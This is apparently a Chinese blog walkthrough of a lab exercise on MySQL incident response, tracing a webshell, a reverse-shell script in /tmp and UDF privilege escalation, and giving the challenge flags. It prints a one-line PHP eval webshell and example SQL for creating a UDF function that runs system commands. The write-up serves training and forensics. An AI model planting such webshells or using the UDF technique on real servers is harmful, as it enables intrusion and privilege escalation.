当前位置：首页 > news >正文

玄机——第一章日志分析-mysql应急响应

news 2025/7/7 7:08:32

第一章日志分析-mysql应急响应

步骤 #1

黑客第一次写入的shell flag{关键字符串}

find / -name "*.php" | xargs grep "eval("

在这里插入图片描述

查看文件sh.php的内容

root@xuanji:~# cd /var/www/html
root@xuanji:/var/www/html# cat sh.php
1       2       <?php @eval($_POST['a']);?>     4
//ccfda79e-7aa1-4275-bc26-a6189eb9a20b

flag为 flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

步骤 #2

黑客反弹shell的ip flag{ip}

查看定时任务，发现没有

查看日志文件

cd /var/log
ls

在这里插入图片描述

查看mysql文件夹的文件，发现了一个error日志

在这里插入图片描述

MySQL 错误日志（error.log）可能会记录相关的错误信息，比如加载 UDF 库失败的报错，像 Can't open shared library '/path/to/malicious_udf.so'。
*若攻击者使用的 SQL 语句（如创建函数、调用函数执行命令）涉及到写操作，会被记录在二进制日志（binary log）中。
若查询日志（general log）开启，那么创建 UDF 函数以及调用函数执行命令的 SQL 语句都会被记录下来，能直观看到攻击者的操作步骤。

查看error.log文件

cat error.log

发现了发生在临时文件/tmp的可疑信息，保存了一个文件1.sh

在这里插入图片描述

列出/tmp/1.sh文件的内容

在这里插入图片描述

则flag为 flag{192.168.100.13}，成功

步骤 #3

黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

1.分析题目

提权文件，那么了解一般的提权攻击，参考学习了这篇文章【玄机】第二章-日志分析-Mysql 应急响应

关于 Mysql 的提权方法有四种：

UDF 提权
MOF 提权(Windows 下)
启动项提权(Windows 下)
CVE-2016-6663(MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17)

那么查看目前靶场MariaDB的版本

mysql -V

在这里插入图片描述

那么排除后三个，剩下的就是UDF提权了

UDF 执行系统命令

MySQL 允许用户通过 CREATE FUNCTION 语句创建自定义函数，这些函数可以调用系统库函数。攻击者上传恶意的 UDF 动态链接库文件到服务器，然后创建对应的自定义函数，通过调用该函数来执行系统命令。比如在 Linux 系统中，攻击者上传恶意的 .so 文件到 MySQL 的插件目录（由 plugin_dir 系统变量指定），并使用 SQL 语句创建函数，如 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME’malicious_udf.so’; ，之后调用 SELECT sys_exec(‘whoami’); 就可以执行系统命令，若 MySQL 以高权限运行，攻击者就可能利用此方式获取系统的高权限。

UDF 的动态链接库文件放置于 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/

2.解题

方法一：

那就查看UDF的动态链接库

cd /usr/lib/mysql/plugin
ls -al

部分文件权限是 rw - rw - rw - （如 mysqludf.so、udf.so ），即所有用户都有读写权限。如果这些是 UDF 相关文件，存在较大风险，因为恶意用户可能篡改其内容，植入恶意代码，利用 UDF 执行系统命令等方式提权。正常情况下，这类文件应严格限制权限，至少让 mysql 用户可读写，其他用户仅能读或无权限。

在这里插入图片描述